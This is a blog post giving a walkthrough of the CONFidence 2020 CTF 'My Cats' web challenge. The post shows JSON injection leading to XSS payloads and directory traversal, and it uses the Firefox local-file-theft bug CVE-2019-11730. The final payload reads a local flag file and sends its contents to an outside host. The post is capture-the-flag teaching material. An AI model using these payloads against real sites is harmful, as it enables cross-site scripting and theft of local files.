🇵🇱CONFidence 2020 CTF Teaser Writeup – English Version 5 min read
本文最后更新于 560 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com

This CTF made me learn a new XSS+SSRF trick, thanks for p4 team.


WEB – My Cats

HAI! WANNA SEE MAI KATZ? OR MAYBE YOU WANNA SEE SOM FLAG?

http://catweb.zajebistyc.tf

Note: Getting the flags location is a part of the challenge. You don’t have to guess it.

Code Analysis

When we access the website, we can get the following JS code by viewing source:

function getNewCats(kind) {
			$.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind, function(data) {
				if(data.status != 'ok')
				{
					return;
				}
				$('#cats_container').empty();
				cats = data.content;
				cats.forEach(function(cat) {
					var newDiv = document.createElement('div');
					newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';
					$('#cats_container').append(newDiv);
				});
			});

		}

we intuitively find out that it uses JSON to transfer datas, and it uses innerHTML to display the query result in a <img> label.

it also provides a report page:


<script src="https://www.google.com/recaptcha/api.js?render=6LcTEeEUAAAAAJOV3IvjyQlaEfLZHom9IvjvyP5d"></script>
<script>
grecaptcha.ready(function () {
    grecaptcha.execute('6LcTEeEUAAAAAJOV3IvjyQlaEfLZHom9IvjvyP5d', {action: 'report'}).then(function(token) {
       document.getElementById('captcha').value = token
    });
});
</script>
<form method="POST">
    <input type="text" name="url">
    <input type="hidden" id="captcha" name="captcha">
    <input type="submit">
</form>

so it may be a XSS chall. If we ctrl the <img> label, we can use onerror event to execute JavaScript code.

JSON Injection and XSS

Let’s fuzz JSON

This is a natural JSON result:

/cats?kind=grey

{"status": "ok", "content": ["1554866661126960529.jpg", "lJCNA_JC_400x400.jpg", "1.jpg", "1548178639131425422.jpg"]}

And if the query fails, it returns:

GET /cats?kind=y1ng

{"status": "error", "content": "y1ng could not be found"}

as we can see, the query data we customized is reflected back with “could not be found” follows behind in a pair of quotes.

but how it handle malicious query data?  try to make  the quote close and something will escape out:

/cats?kind="y1ng"

{"status": "error", "content": ""y1ng" could not be found"}

cuz there is no escape characters, it provides the possibility of XSS.

However, when status is not OK, the JSON result wont be displayed out:

if(data.status != 'ok')
{
	return;
}

and OK will only be returned if the query is successful, it is a contradictory condition.

If this problem is not solved, the challenge will not be completed. what will happened if we give it a status OK by JSON Injection? payload:

http://catweb.zajebistyc.tf/?", "status": "ok", "content": ["1554866661126960529.jpg", "lJCNA_JC_400x400.jpg", "1.jpg", "1548178639131425422.jpg"], "test":"

Amazing! It works! 

But if we try to use onerror event to execute JS, the quotes will pollute JSON causing something error, which means xss failed.

It’s easy to solve, just escape single quote by backslash (unicode bypass is also ok), payload:

http://catweb.zajebistyc.tf/?", "status": "ok", "content": ["y1ng\" onerror=\"alert('y1ng')"], "test":"

with backslash, we can even execute any JavaScript without relying on img onerror:

http://catweb.zajebistyc.tf/?", "status": "ok", "content": ["\"><script>alert('y1ng');</script>"], "test":"
XSS+SSRF

But when I reported xss link i got nothing useful. After several attempts, I still got nothing. I realized that my idea was wrong. It must not be a XSS attack to steal the admin’s cookie.  

sh0ut told me that the cat query can make a directory traversal

let’s have a review about the JS :

newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';

if we search for the black cats, the images’ path is static/black/24.jpg, so kind(black) is a folder. and we all know that .. means parent directory, if kind is .. , the path bacomes static/../ which means static’s working directory. Let’s check it out

http://catweb.zajebistyc.tf/cats?kind=..

{"status": "ok", "content": ["prestart.sh", "uwsgi.ini", "main.py", "templates", "static", "app.py"]}

amazing! 

http://catweb.zajebistyc.tf/cats?kind=../..

{"status": "ok", "content": ["opt", "etc", "bin", "boot", "media", "run", "proc", "var", "usr", "dev", "root", "lib64", "sbin", "lib", "sys", "home", "tmp", "mnt", "srv", "app", ".dockerenv", "entrypoint.sh", "uwsgi-nginx-entrypoint.sh", "start.sh"]}
http://catweb.zajebistyc.tf/cats?kind=../templates/

{"status": "ok", "content": ["report.html", "index.html", "flag.txt"]}

the index.html and report.html is /index and /report that we can access, owing to the flask route rule we can not access flag.txt, so it’s impossible to get the flag directly.

Now by directory traversal we got the absolute path of the website:

/app/templates/

By reporting we are given a very import information, the bot runs on an old version of firefox:

There is a vulnerability about Firefox:

Firefox Local Files Theft – CVE-2019-11730

and there is not any sanitizing for kind:

$.getJSON('http://catweb.zajebistyc.tf/cats?kind='+kind

So we can use CVE-2019-11730 to read flag with file:// protocal, payload:

file:///app/templates/index.html?",%20"status":%20"ok",%20"content":%20["abc\u0022%20onerror\u003d\u0022var%20i%3Ddocument.createElement('iframe')%3Bi.src%3D'.%2Fflag.txt'%3Bi.onload%3Dfunction()%7B(new%20Image).src%3D'http%3A%2F%2Fgem-love.com:12358/%3F'%2Bi.contentDocument.body.innerText%7D%3Bdocument.body.append(i)"],%20"a":%20"

cuz im not good at JavaScript, this payload is from team zer0pts’s st98

report it and get flag

Pretty hard!


Reference

https://d1r3wolf.blogspot.com/2020/03/confidence-ctf-2020-cat-web-challenge.html

http://st98.github.io/diary/posts/2020-03-15-confidence-2020-ctf.html

 

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2019.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇